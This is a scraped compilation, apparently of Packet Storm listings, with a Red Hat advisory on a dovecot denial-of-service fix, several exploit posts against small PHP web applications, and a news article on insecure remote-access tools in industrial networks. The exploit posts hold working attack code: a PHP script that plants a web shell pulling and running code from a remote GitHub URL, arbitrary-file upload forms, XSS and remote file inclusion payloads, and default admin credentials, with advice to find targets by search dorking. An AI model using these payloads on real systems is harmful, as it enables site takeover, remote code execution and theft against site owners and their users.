Red Hat Security Advisory 2024-6529-03 - An update for dovecot is now available for Red Hat Enterprise Linux 9. Issues addressed include denial of service and resource exhaustion vulnerabilities.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6529.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: dovecot security updateAdvisory ID:        RHSA-2024:6529-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6529Issue date:         2024-09-10Revision:           03CVE Names:          CVE-2024-23184====================================================================Summary: An update for dovecot is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Dovecot is an IMAP server for Linux and other UNIX-like systems, written primarily with security in mind. It also contains a small POP3 server, and supports e-mail in either the maildir or mbox format. The SQL drivers and authentication plug-ins are provided as subpackages. Security Fix(es):* dovecot: using a large number of address headers may trigger a denial of service (CVE-2024-23184)* dovecot: very large headers can cause resource exhaustion when parsing message (CVE-2024-23185)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-23184References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2305909https://bugzilla.redhat.com/show_bug.cgi?id=2305910

Red Hat Security Advisory 2024-6529-03

Queuing Simple Chatbot version 1.0 suffers from a remote shell upload vulnerability.

    =============================================================================================================================================| # Title     : Queuing Simple Chatbot 1.0 Remote File Upload Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/queuing.zip                                           |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This HTML page is designed to remotely upload PHP malicious files directly.    [+] Line 33 set url of target.[+] The path to upload the files : http://127.0.0.1/chatbot/uploads/[+] Save Code as html :<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Direct arbitrary File Upload</title></head><body>    <h2>Direct arbitrary File Upload</h2>    <form id="uploadForm">        <label for="fileInput">Select File:</label>        <input type="file" id="fileInput" name="fileInput" required><br><br>        <button type="button" onclick="uploadFile()">Upload File</button>    </form>    <script>        function uploadFile() {            const fileInput = document.getElementById('fileInput').files[0];            if (!fileInput) {                alert('Please select a file.');                return;            }            const formData = new FormData();            formData.append('name', '<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>');            formData.append('img', fileInput);            console.log("(+) Uploading file...");            fetch('http://127.0.0.1/chatbot/classes/SystemSettings.php?f=update_settings', { // Replace with your upload URL                method: 'POST',                body: formData            })            .then(response => response.text())            .then(data => {                if (data === '1') {                    console.log("(+) File upload seems to have been successful!");                } else {                    console.log("(-) Oh no, the file upload seems to have failed!");                }            })            .catch(error => console.error("(-) Error during file upload:", error));        }    </script></body></html>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Queuing Simple Chatbot 1.0 Shell Upload

Profiling System version 1.0 suffers from a remote shell upload vulnerability.

    =============================================================================================================================================| # Title     : Profiling System 1.0 code injection Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html                                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload injects php code of your choice into an SHELL.php file. [+] Line 26    Line 35  [+] change the path of the script folder.[+] save payload as poc.php[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1[+] payload : <?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(        'upload' => '',        'per_file' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),        'per_name' => 'inouva',        'file_name' => '123',        'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/ProfilingSystem/add_file_query.php");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/ProfilingSystem/uploads/$file_name\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Profiling System 1.0 Shell Upload

Passion Responsive Blogging version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Passion Responsive Blogging 1.0 XSS Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/responsive-blog-site-in-php-with-source-code/                                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : single.php?id=12'"()%26%25<acx><ScRiPt >prompt(982273)</ScRiPt>[+] https://127.0.0.1com/bmacblog/single.php?id=12%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(982273)%3C/ScRiPt%3EGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Passion Responsive Blogging 1.0 Cross Site Scripting

Online Survey System version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

Posted Sep 11, 2024

Authored by indoushka

Online Survey System version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

tags | exploit, remote, vulnerability, xss, file inclusion

SHA-256 | 0573d4aa4fad74ba21dfae8c95d8a0ef8922ce6bbbf5c65fcd1a8b98424e3d9e

Download | Favorite | View

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

    =============================================================================================================================================| # Title     : Online Survey System 1.0 XSS Vulnerability                                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-survey-system_0.zip                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /index.php?page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg[+] http://127.0.0.1/survey/index.php?page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpgGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion

Online Birth Certificate System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Online Birth Certificate System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/                                        |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/obcs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Online Birth Certificate System 1.0 Insecure Settings

Medical Card Generations System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Medical Card Generations System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/medical-card-generation-system-using-php-and-mysql/                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/mcgs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Medical Card Generations System 1.0 Insecure Settings

Emergency Ambulance Hiring Portal version 1.0 suffer from a WYSIWYG code injection vulnerability.

=============================================================================================================================================  
| # Title     : Emergency Ambulance Hiring Portal 1.0 (WYSIWYG) code injection Vulnerability                                                |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/                                               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Part 01 : about-us.php

[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file /hms/admin/about-us.php . 

   [+] Line 2  :  Make sure to include your database connection here

[+] Line 44 :  Send the form data using fetch API (Set your target url)

[+] save payload as poc.php in your localhost path .

[+] payload : 

<?php  
include('http://127.0.0.1/eahp/admin/includes/dbconnection.php'); // Make sure to include your database connection here

if (isset($_POST['submit'])) {  
    $pagetitle = $_POST['pagetitle'];  
    $pagedes = $con->real_escape_string($_POST['pagedes']);  
    $query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes' WHERE PageType='aboutus'");

    if ($query) {  
        echo '<script>alert("About Us has been updated.")</script>';  
    } else {  
        echo '<script>alert("Something Went Wrong. Please try again.")</script>';  
    }  
    exit;  
}  
?>

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>indoushka | Update About Us Content</title>  
      
    <script src="http://js.nicedit.com/nicEdit-latest.js" type="text/javascript"></script>  
    <script type="text/javascript">  
        // Apply NicEdit to all text areas when the DOM is loaded  
        bkLib.onDomLoaded(nicEditors.allTextAreas);

        // Function to handle form submission using JavaScript  
        function submitForm(event) {  
            event.preventDefault(); // Prevent default form submission

            const pagetitle = document.getElementById('pagetitle').value;  
            const pagedes = nicEditors.findEditor('pagedes').getContent(); // Get the NicEdit content

            // Prepare the form data to be sent  
            const formData = new FormData();  
            formData.append('pagetitle', pagetitle);  
            formData.append('pagedes', pagedes);  
            formData.append('submit', true);

            // Send the form data using fetch API  
            fetch('http://127.0.0.1/eahp/admin/about-us.php', {  
                method: 'POST',  
                body: formData,  
            })  
            .then(response => response.text())  
            .then(data => {  
                alert('About Us content has been updated successfully.');  
                console.log(data); // Handle the response from the server  
            })  
            .catch(error => {  
                console.error('Error:', error);  
            });  
        }  
    </script>  
    <style>  
        /* Center the form container */  
        .editor-container {  
            max-width: 800px;  
            margin: 0 auto; /* Center horizontally */  
            padding: 20px;  
            text-align: center; /* Center the content inside */  
        }

        /* Ensure the textarea takes the full width */  
        #pagedes {  
            width: 100%;  
            height: 300px;  
            margin: 0 auto;  
        }  
    </style>  
</head>  
<body>  
    <div id="app">  
        <div class="app-content">  
            <div class="main-content">  
                <div class="wrap-content container" id="container">  
                      
                    <section id="page-title">  
                        <div class="row">  
                            <div class="col-sm-8">  
                                <h1 class="mainTitle">Update the About Us Content</h1>  
                            </div>

                                                          </li>  
                            </ol>  
                        </div>  
                    </section>  
                      
                    <div class="container-fluid container-fullw bg-white">  
                        <div class="row">  
                            <div class="col-md-12">  
                                  
                                <div class="editor-container">  
                                    <form class="forms-sample" method="post" onsubmit="submitForm(event);">  
                                        <div class="form-group">  
                                            <label for="pagetitle">Page Title</label>  
                                            <input id="pagetitle" name="pagetitle" type="text" class="form-control" required>  
                                        </div>  
                                        <div class="form-group">  
                                            <label for="pagedes">Page Description</label>  
                                              
                                            <textarea class="form-control" name="pagedes" id="pagedes" rows="12"></textarea>  
                                        </div>  
                                        <button type="submit" class="btn btn-primary mr-2" name="submit">Submit</button>  
                                    </form>  
                                </div>  
                            </div>  
                        </div>  
                    </div>  
                      
                </div>  
            </div>  
        </div>  
    </div>  
      
</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection

Printable Staff ID Card Creator System version 1.0 suffers from an insecure direct object reference vulnerability.

=============================================================================================================================================  
| # Title     : printable staff id card creator system 1.0 idor Vulnerability                                                               |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.campcodes.com/downloads/printable-staff-id-card-creator-system-source-code/?wpdmdl=6749&refresh=66bbc00367bf91723580419               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Insecure direct object reference: Suffering from an insecure direct object reference that allows users to upload and execute remote files. .

[+] Line : 8 Set your Target

[+] Save As poc.html

[+] payload :

<<div class="modal-content" style="font-size: 14px; font-family: Times New Roman;color:black;">  
      <div class="modal-header" style="background:#222d32">  
        <button type="button" class="close" data-dismiss="modal">×</button>  
        <h4 class="modal-title" style="font-weight: bold;color: #F0F0F0"><center>  
          SYSTEM INFORMATION INITIALISATION  
          </center></h4>  
      </div>  
        <form method="post" action="http://127.0.0.1/Staff_registration/upload.php" enctype="multipart/form-data">            

      <div class="modal-body">           
        <center>   
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp;&nbsp;Org Name:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgname"></span></p>  
              <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Phone:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgphone"></span></p>  
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Email:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgemail"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp;Website:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgwebsite"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">Active Year:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgyear"></span></p>  
                  Attach Organisation Logo:(<h7 style="color:red">Make sure it is a transparent image</h7>)<input name="filed" type="file" id="filed">  
                                      <input type="hidden" name="page" value="admin.php">                                                                      
         </center>  
      </div>  
      <div class="modal-footer">  
        <input type="submit" class="btn btn-success" value="Finish" id="addmember" name="orginitial"> &nbsp;  
        <button type="button" class="btn btn-success" data-dismiss="modal">Close</button>  
      </div>  
      </form></div>

    Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Printable Staff ID Card Creator System 1.0 Insecure Direct Object Reference

A veritable grab bag of tools used to access critical infrastructure networks are wildly insecure, and they're blobbing together to create a widening attack surface.

Source: Agencja Fotograficzna Caro via Alamy Stock Photo

The exploding demand for remote access into today's industrial control systems (ICS) and operational technology (OT) systems has created a nebulous, Internet-connected attack surface that's too attractive for cyberattackers to ignore. And cleanup is not going to be a simple affair.

Far too many ICS networks are being accessed by employees, partners, suppliers, and customers using a slapped-together mousetrap of tools, leaving these environments woefully exposed while connected to the Internet, according to researchers.

In a new analysis, Claroty's Team82 looked at 50,000 individual remote access-enabled devices running on industrial networks with dedicated OT hardware, and found 55% to have at least four remote access tools (RATs) in their environments. A full third (33%) reported using six or more RATs. Some organizations reported using up to 16 different of them.

Industries represented in the examples examined by the Team82 researchers included pharmaceuticals, consumer goods, food and beverage, automotive, oil and gas, mining, and manufacturing — many of which are considered critical infrastructure sectors.

"Within critical infrastructure, there is sometimes a bigger physical risk associated with a breach, depending on the jeopardized device," says Tal Laufer, Claroty's vice president of products, secure access. "That being said, all organizations with this type of tool sprawl are at risk, since it can create security gaps in their networks for threat actors to exploit."

Making matters even more complicated for cybersecurity teams, the Team82 report found that 79% of the organizations they surveyed have more than two remote access management tools in their environment that don't meet basic enterprise-grade security standards.

"Most of these tools lack the session recording, auditing, and role-based access controls that are necessary to properly defend an OT environment," the Team82 report said. "Some lack basic security features such as multi-factor authentication (MFA) options, or have been discontinued by their respective vendors and no longer receive feature or security updates."

**Cyberattackers Notice Sprawling OT Remote Access Attack Surface**

Adversaries are already well aware of the malicious possibilities that these remote access tools unlock — and have been for several years.

Laufer notes that several massive breaches in recent years have been the result of misconfigured remote access tools, including Colonial Pipeline in 2021 and Change Healthcare earlier this year.

As far back as 2020, analysts at Kaspersky warned about the risk of cyberattacks against remote access tools like TeamViewer and RMS to breach ICS environments. And in January 2023, CISA joined with the NSA to issue a warning that adversaries were launching widespread campaigns against remote management systems like AnyDesk to breach federal agencies.

Those warnings have played out: A threat actor was discovered attempting to drop XMRing cryptominer malware using TeamViewer in May 2023. Likewise, the remote access tool TeamViewer was targeted in failed attempts to compromise systems by LockBit 3.0 ransomware group in early 2024. Similarly, remote access tool production systems were compromised at AnyDesk last February, forcing the vendor to revoke all of its security clearances and reset all Web portal passwords.

Despite these warnings, ICS/OT operators are in a particularly tough spot without a clear path toward protecting themselves. The Team82 findings demonstrate how the sheer number of these tools can easily pile up within an environment, creating an ever-creeping blob of remote access surface area ripe for adversaries to probe for success. As the report detailed, each tool brings along with it its own supply chain weaknesses, often including a lack of basic, best-practice security features like MFA, auditing, and session recording.

Compounding the issue is a basic lack of monitoring, detection, and policy control tooling that works across disparate remote access systems, leaving them open to misconfigurations, as messy policy and control management, the report added.

The report added that managing all these various RATs, and the hardware behind them, is an expensive operational proposition.

**OT Remote Access Cleanup**

Unsurprisingly, the first step on the path to securing remote access for ICS/OT networks is to get a full inventory of the tools that provide access to OT assets, according to the report.

"A critical first step is ensuring you have complete visibility into your organization’s OT network to understand how many and which solutions are providing access to OT assets and industrial control systems (ICS)," Laufer explains.

Next, those solutions that don't meet basic enterprise cybersecurity requirements need to go — pronto.

"From there, engineers and assets managers need to actively eliminate or minimize the use of low-security remote access tools in the OT environment — especially taking into consideration those with known vulnerabilities or those lacking essential security features such as MFA," the researcher stresses.

It's also crucial to develop and require baseline security standards across the organization's supply chain. "Beyond this, security teams should also govern the use of remote access tools connected to OT and ICS," Laufer says. "This can help with alignment of security requirements and expansion of those requirements as needed throughout third parties within the supply chain."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

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